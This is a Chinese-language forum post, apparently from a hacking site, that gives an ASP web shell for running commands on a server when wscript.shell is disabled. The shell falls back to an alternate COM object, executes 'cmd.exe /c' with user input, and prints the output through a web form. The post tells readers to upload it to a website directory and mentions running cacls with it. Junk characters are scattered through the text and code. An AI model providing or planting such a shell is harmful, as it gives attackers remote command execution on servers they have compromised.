可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
% b0 D) _9 H, q一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。/ \) [! [7 r) ?4 U$ `2 s
要想让运行命令可以试试这种方法,成功率为五五之数。; J8 I. y; w% p, E
把下面代码复制:
% p# X) r" M( v# |* x$ @3 b5 ~( m<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>$ k r2 N* r6 `8 I, Y1 i
<%if err then%>" }- Y; V2 @7 Z& f# }* r6 I' T
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
# \. C! {3 W# H0 d. R<%, C# G9 K- s6 k& i3 q
end if1 O1 r( F, ?0 D. E7 m9 O3 o
response.write("<textarea readonly cols=80 rows=20>")
5 ~3 Q! V+ q, }' h% t0 YOn Error Resume Next F: h: u" m: a- Q# A' ~ S
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
0 E- ^# V9 c) Q2 Jresponse.write("</textarea>")) r$ q% K( m M+ j q
response.write("<form method='post'>")
! w5 b0 @& B3 t1 U9 A6 @response.write("<input type=text name='c' size=60><br>")
9 F+ v+ d$ k; V. H# U) {1 w# h" y/ W4 bresponse.write("<input type=submit value='执行'></form>")+ r: ^. G/ x* z# h- c
%>
0 x1 e7 u. u' M- x/ \% X* z
4 k( g; d8 Q. m2 U+ X保存为一个asp文件,然后传到网站目录上去
/ w/ W, u5 p7 R6 d: K- O, J运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
. f" a" Y: X% O2 \我用此成功运行过cacls命令。# e) M- H7 W$ P+ \0 z9 ]# x
( {. r& d$ T2 r, `第二那就是运行时出错,可能限制某些代码执行 |